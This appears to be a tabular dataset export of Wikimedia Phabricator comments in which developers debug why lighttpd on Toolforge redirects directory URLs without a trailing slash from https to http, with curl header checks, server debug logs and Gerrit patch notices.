",,,1429931916,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.96,0.88,"Change 206504 had a related patch set uploaded (by Yuvipanda):
tools: Redirect tools.wmflabs.org/toolname appropriately

[[GERRIT_URL]]
"
449055,lighttpd redirects URLs of directories without a trailing slash from https to http,Looks like the only solution is to write a small lighttpd module.,,,1429924963,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,1.0,Looks like the only solution is to write a small lighttpd module.
449052,lighttpd redirects URLs of directories without a trailing slash from https to http,"After some false starts, looks like http://redmine.lighttpd.net/projects/1/wiki/Docs_ModMagnet might be the way to fix this. but that embeds lua in lighttpd as well, and I""m feeling a bit 'eugh' about that.",,,1429922956,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.388888888888889,0.8888888888888888,"After some false starts, looks like URL might be the way to fix this. but that embeds lua in lighttpd as well, and I""m feeling a bit 'eugh' about that."
449049,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206488 merged by Yuvipanda:
tools: Faux enable https for lighttpd by default

[[https://gerrit.wikimedia.org/r/206488]]",,,1429921329,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.8181818181818182,"Change 206488 merged by Yuvipanda:
tools: Faux enable https for lighttpd by default

[[GERRIT_URL]]"
449046,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206488 had a related patch set uploaded (by Yuvipanda):
tools: Faux enable https for lighttpd by default

[[https://gerrit.wikimedia.org/r/206488]]
",,,1429921024,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8620689655172415,0.8620689655172413,"Change 206488 had a related patch set uploaded (by Yuvipanda):
tools: Faux enable https for lighttpd by default

[[GERRIT_URL]]
"
448064,lighttpd redirects URLs of directories without a trailing slash from https to http,See also {T95164}.,,,1429763004,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,See also {T95164}.
432666,lighttpd redirects URLs of directories without a trailing slash from https to http,"I had intended to fix this in `nginx`; as I'll be diving into that for T88216 anyhow, licking the cookie.",,,1427312337,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,21.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,21.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4583333333333335,0.9583333333333334,"I had intended to fix this in CODE; as I'll be diving into that for T88216 anyhow, licking the cookie."
432662,lighttpd redirects URLs of directories without a trailing slash from https to http,"Scratch that, uwsgi also has this problem. It 'worked for me' because of httpseverywhere...",,,1427312154,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,21.0,5.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.105263157894737,0.9473684210526315,"Scratch that, uwsgi also has this problem. It 'worked for me' because of httpseverywhere..."
432657,lighttpd redirects URLs of directories without a trailing slash from https to http,"Although, note that the new uwsgi services don't have this problem...",,,1427311971,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,1.0,"Although, note that the new uwsgi services don't have this problem..."
432656,lighttpd redirects URLs of directories without a trailing slash from https to http,"The proxy should do it, but it doesn't atm and I haven't had time to do it properly yet. ",,,1427311943,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0434782608695654,0.8260869565217391,"The proxy should do it, but it doesn't atm and I haven't had time to do it properly yet. "
432655,lighttpd redirects URLs of directories without a trailing slash from https to http,"Ah, hm.  My understanding from the config was that this was (supposed to) be done by the proxy.  @yuvipanda: is that a bug or expected behaviour?",,,1427311906,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,15.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,9.0,6.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.8823529411764706,"Ah, hm.  My understanding from the config was that this was (supposed to) be done by the proxy. SCREEN_NAME: is that a bug or expected behaviour?"
432650,lighttpd redirects URLs of directories without a trailing slash from https to http,"No, it is not:

```
[tim@passepartout ~]$ curl -I https://tools.wmflabs.org/typoscan
HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 25 Mar 2015 19:26:45 GMT
Connection: keep-alive
Location: http://tools.wmflabs.org/typoscan/
X-Clacks-Overhead: GNU Terry Pratchett

[tim@passepartout ~]$ curl -I https://tools.wmflabs.org/typoscan/test-for-T66627
HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 25 Mar 2015 19:26:49 GMT
Connection: keep-alive
Location: http://tools.wmflabs.org/typoscan/test-for-T66627/
X-Clacks-Overhead: GNU Terry Pratchett

[tim@passepartout ~]$
```",,,1427311635,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.75,0.75,"No, it is not:

``CODE``"
432637,lighttpd redirects URLs of directories without a trailing slash from https to http,"This is no longer an issue since the redirection is handled by the proxy, now.",,,1427311026,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,6.0,6.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.764705882352941,0.8823529411764706,"This is no longer an issue since the redirection is handled by the proxy, now."
302601,lighttpd redirects URLs of directories without a trailing slash from https to http,"I haven't receive any answer to http://serverfault.com/questions/602386/how-to-make-lighttpd-respect-x-forwarded-proto-when-constructing-redirects-for-d in the past two weeks; I have posted on the lighttpd support forum now as well at http://redmine.lighttpd.net/boards/2/topics/6028.

Solving this in nginx looks doable, but I'd prefer if we can fix it in lighttpd.",,,1403444357,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-54,True,2.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,9.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4893617021276597,0.8297872340425532,"I haven't receive any answer to URL in the past two weeks; I have posted on the lighttpd support forum now as well at URL

Solving this in nginx looks doable, but I'd prefer if we can fix it in lighttpd."
302596,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to metatron from comment #8)
> Hmm, this need further knowledge on the subject.

> 1. Lighttpd is configured without ssl engine, and makes rewrite only for
> tool's root
> >> ssl.engine = ""disable""
> >> alias.url = ( ""/$tool"" => ""$home/public_html/"" )
> [...]

No, it does not rewrite only tools' roots:

| scfc@tools-login:~$ curl -H 'Host: tools.wmflabs.org' -I http://tools-webgrid-02:4113/drtrigonbot/docs
| HTTP/1.1 301 Moved Permanently
| Location: http://tools.wmflabs.org/drtrigonbot/docs/
| Date: Mon, 02 Jun 2014 02:52:20 GMT
| Server: lighttpd/1.4.28

| scfc@tools-login:~$

As I have written a month ago.  And reiterated the day before yesterday.

> A. lighttp request handling , debug /without/ slash
> ## https://tools.wmflabs.org/newwebtest/test

> 2014-05-31 19:37:21: (response.c.300) -- splitting Request-URI 
> 2014-05-31 19:37:21: (response.c.301) Request-URI  :  /newwebtest/test/ 
> 2014-05-31 19:37:21: (response.c.302) URI-scheme   :  http 
> 2014-05-31 19:37:21: (response.c.303) URI-authority:  tools.wmflabs.org 
> 2014-05-31 19:37:21: (response.c.304) URI-path     :  /newwebtest/test/ 
> 2014-05-31 19:37:21: (response.c.305) URI-query    :   
> 2014-05-31 19:37:21: (response.c.349) -- sanatising URI 
> 2014-05-31 19:37:21: (response.c.350) URI-path     :  /newwebtest/test/ 
> 2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
> 2014-05-31 19:37:21: (response.c.470) -- before doc_root 
> 2014-05-31 19:37:21: (response.c.471) Doc-Root     :
> /data/project/newwebtest/public_html 
> 2014-05-31 19:37:21: (response.c.472) Rel-Path     : /newwebtest/test/ 
> 2014-05-31 19:37:21: (response.c.473) Path         :  
> 2014-05-31 19:37:21: (response.c.521) -- after doc_root 
> 2014-05-31 19:37:21: (response.c.522) Doc-Root     :
> /data/project/newwebtest/public_html 
> 2014-05-31 19:37:21: (response.c.523) Rel-Path     : /newwebtest/test/ 
> 2014-05-31 19:37:21: (response.c.524) Path         :
> /data/project/newwebtest/public_html/newwebtest/test/ 
> 2014-05-31 19:37:21: (response.c.541) -- logical -> physical 
> 2014-05-31 19:37:21: (response.c.542) Doc-Root     :
> /data/project/newwebtest/public_html 
> 2014-05-31 19:37:21: (response.c.543) Rel-Path     : /newwebtest/test/ 
> 2014-05-31 19:37:21: (response.c.544) Path         :
> /data/project/newwebtest/public_html//test/ 
> 2014-05-31 19:37:21: (response.c.561) -- handling physical path 
> 2014-05-31 19:37:21: (response.c.562) Path         :
> /data/project/newwebtest/public_html//test/ 
> 2014-05-31 19:37:21: (response.c.569) -- file found 
> 2014-05-31 19:37:21: (response.c.570) Path         :
> /data/project/newwebtest/public_html//test/ 
> 2014-05-31 19:37:21: (response.c.719) -- handling subrequest 
> 2014-05-31 19:37:21: (response.c.720) Path         :
> /data/project/newwebtest/public_html//test/ 
> 2014-05-31 19:37:21: (mod_indexfile.c.150) -- handling the request as
> Indexfile 
> 2014-05-31 19:37:21: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
> 2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
> 2014-05-31 19:37:21: (mod_compress.c.683) -- handling file as static file 
> 2014-05-31 19:37:21: (mod_staticfile.c.397) -- handling file as static file 
> 2014-05-31 19:37:21: (response.c.731) -- subrequest finished 

> [...]

And this is just a lie.  The request log for https://tools.wmflabs.org/newwebtest/test looks like:

| 2014-06-02 03:00:13: (response.c.300) -- splitting Request-URI 
| 2014-06-02 03:00:13: (response.c.301) Request-URI  :  /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.302) URI-scheme   :  http 
| 2014-06-02 03:00:13: (response.c.303) URI-authority:  tools.wmflabs.org 
| 2014-06-02 03:00:13: (response.c.304) URI-path     :  /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.305) URI-query    :   
| 2014-06-02 03:00:13: (response.c.349) -- sanatising URI 
| 2014-06-02 03:00:13: (response.c.350) URI-path     :  /newwebtest/test 
| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
| 2014-06-02 03:00:13: (response.c.470) -- before doc_root 
| 2014-06-02 03:00:13: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.472) Rel-Path     : /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.473) Path         :  
| 2014-06-02 03:00:13: (response.c.521) -- after doc_root 
| 2014-06-02 03:00:13: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.523) Rel-Path     : /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test 
| 2014-06-02 03:00:13: (response.c.541) -- logical -> physical 
| 2014-06-02 03:00:13: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.543) Rel-Path     : /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.544) Path         : /data/project/newwebtest/public_html//test 
| 2014-06-02 03:00:13: (response.c.561) -- handling physical path 
| 2014-06-02 03:00:13: (response.c.562) Path         : /data/project/newwebtest/public_html//test 
| 2014-06-02 03:00:13: (response.c.569) -- file found 
| 2014-06-02 03:00:13: (response.c.570) Path         : /data/project/newwebtest/public_html//test 
| 2014-06-02 03:00:13: (response.c.300) -- splitting Request-URI 
| 2014-06-02 03:00:13: (response.c.301) Request-URI  :  /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.302) URI-scheme   :  http 
| 2014-06-02 03:00:13: (response.c.303) URI-authority:  tools.wmflabs.org 
| 2014-06-02 03:00:13: (response.c.304) URI-path     :  /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.305) URI-query    :   
| 2014-06-02 03:00:13: (response.c.349) -- sanatising URI 
| 2014-06-02 03:00:13: (response.c.350) URI-path     :  /newwebtest/test/ 
| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
| 2014-06-02 03:00:13: (response.c.470) -- before doc_root 
| 2014-06-02 03:00:13: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.472) Rel-Path     : /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.473) Path         :  
| 2014-06-02 03:00:13: (response.c.521) -- after doc_root 
| 2014-06-02 03:00:13: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.523) Rel-Path     : /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.541) -- logical -> physical 
| 2014-06-02 03:00:13: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.543) Rel-Path     : /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (response.c.561) -- handling physical path 
| 2014-06-02 03:00:13: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (response.c.569) -- file found 
| 2014-06-02 03:00:13: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (response.c.719) -- handling subrequest 
| 2014-06-02 03:00:13: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (mod_indexfile.c.150) -- handling the request as Indexfile 
| 2014-06-02 03:00:13: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
| 2014-06-02 03:00:13: (mod_compress.c.683) -- handling file as static file 
| 2014-06-02 03:00:13: (mod_staticfile.c.397) -- handling file as static file 
| 2014-06-02 03:00:13: (response.c.731) -- subrequest finished 

That clearly shows that there is an initial request that causes a redirect (by lighttpd) to be returned to the browser followed by another request with the correct URL.",,,1401678444,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.07142857142857142,0.07142857142857142,1.2142857142857142,0.07142857142857142,0.0,0.0,0.0,0.35714285714285715,0.21428571428571427,0.0,0.07142857142857142,0.07142857142857142,0.07142857142857142,0.14285714285714285,1.1428571428571428,1.4285714285714286,0.0,0.07142857142857142,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.5714285714285714,0.21428571428571427,0.07142857142857142,0.21428571428571427,0.0,0.0,0.0,0.07142857142857142,0.6428571428571429,0.0,0.0,0.07142857142857142,0.2857142857142857,0.0,0.0,0.0,0.07142857142857142,0.07142857142857142,9.928571428571429,0.07142857142857142,0.07142857142857142,0.0,0.07142857142857142,0.0,0.07142857142857142,0.0,0.07142857142857142,0.07142857142857142,0.07142857142857142,0.0,0.07142857142857142,0.0,0.07142857142857142,0.0,0.07142857142857142,0.07142857142857142,0.6428571428571429,0.21428571428571427,9.285714285714286,0.07142857142857142,0.14285714285714285,0.7857142857142857,0.0,0.0,0.0,0.07142857142857142,0.14285714285714285,0.0,17.571428571428573,0.0,0.14285714285714285,1.4285714285714286,13.428571428571429,0.0,0.21428571428571427,0.0,0.14285714285714285,0.0,0.14285714285714285,0.2857142857142857,0.0,0.7142857142857143,0.0,0.35714285714285715,0.42857142857142855,3.5894345238095235,0.35606203007518805,"(In reply to metatron from comment #8)
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, it does not rewrite only tools' roots:

| scfc@tools-login:~$ curl -H 'Host: tools.wmflabs.org' -I URL
| HTTP/1.1 301 Moved Permanently
| Location: URL
| Date: Mon, 02 Jun 2014 02:52:20 GMT
| Server: lighttpd/1.4.28

| scfc@tools-login:~$

As I have written a month ago.  And reiterated the day before yesterday.

QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE

And this is just a lie.  The request log for URL looks like:

| 2014-06-02 03:00:13: (response.c.300) -- splitting Request-URI 
| 2014-06-02 03:00:13: (response.c.301) Request-URI  :  /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.302) URI-scheme   :  http 
| 2014-06-02 03:00:13: (response.c.303) URI-authority:  tools.wmflabs.org 
| 2014-06-02 03:00:13: (response.c.304) URI-path     :  /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.305) URI-query    :   
| 2014-06-02 03:00:13: (response.c.349) -- sanatising URI 
| 2014-06-02 03:00:13: (response.c.350) URI-path     :  /newwebtest/test 
| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
| 2014-06-02 03:00:13: (response.c.470) -- before doc_root 
| 2014-06-02 03:00:13: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.472) Rel-Path     : /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.473) Path         :  
| 2014-06-02 03:00:13: (response.c.521) -- after doc_root 
| 2014-06-02 03:00:13: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.523) Rel-Path     : /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test 
| 2014-06-02 03:00:13: (response.c.541) -- logical -> physical 
| 2014-06-02 03:00:13: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.543) Rel-Path     : /newwebtest/test 
| 2014-06-02 03:00:13: (response.c.544) Path         : /data/project/newwebtest/public_html//test 
| 2014-06-02 03:00:13: (response.c.561) -- handling physical path 
| 2014-06-02 03:00:13: (response.c.562) Path         : /data/project/newwebtest/public_html//test 
| 2014-06-02 03:00:13: (response.c.569) -- file found 
| 2014-06-02 03:00:13: (response.c.570) Path         : /data/project/newwebtest/public_html//test 
| 2014-06-02 03:00:13: (response.c.300) -- splitting Request-URI 
| 2014-06-02 03:00:13: (response.c.301) Request-URI  :  /newwebtest/test/ 
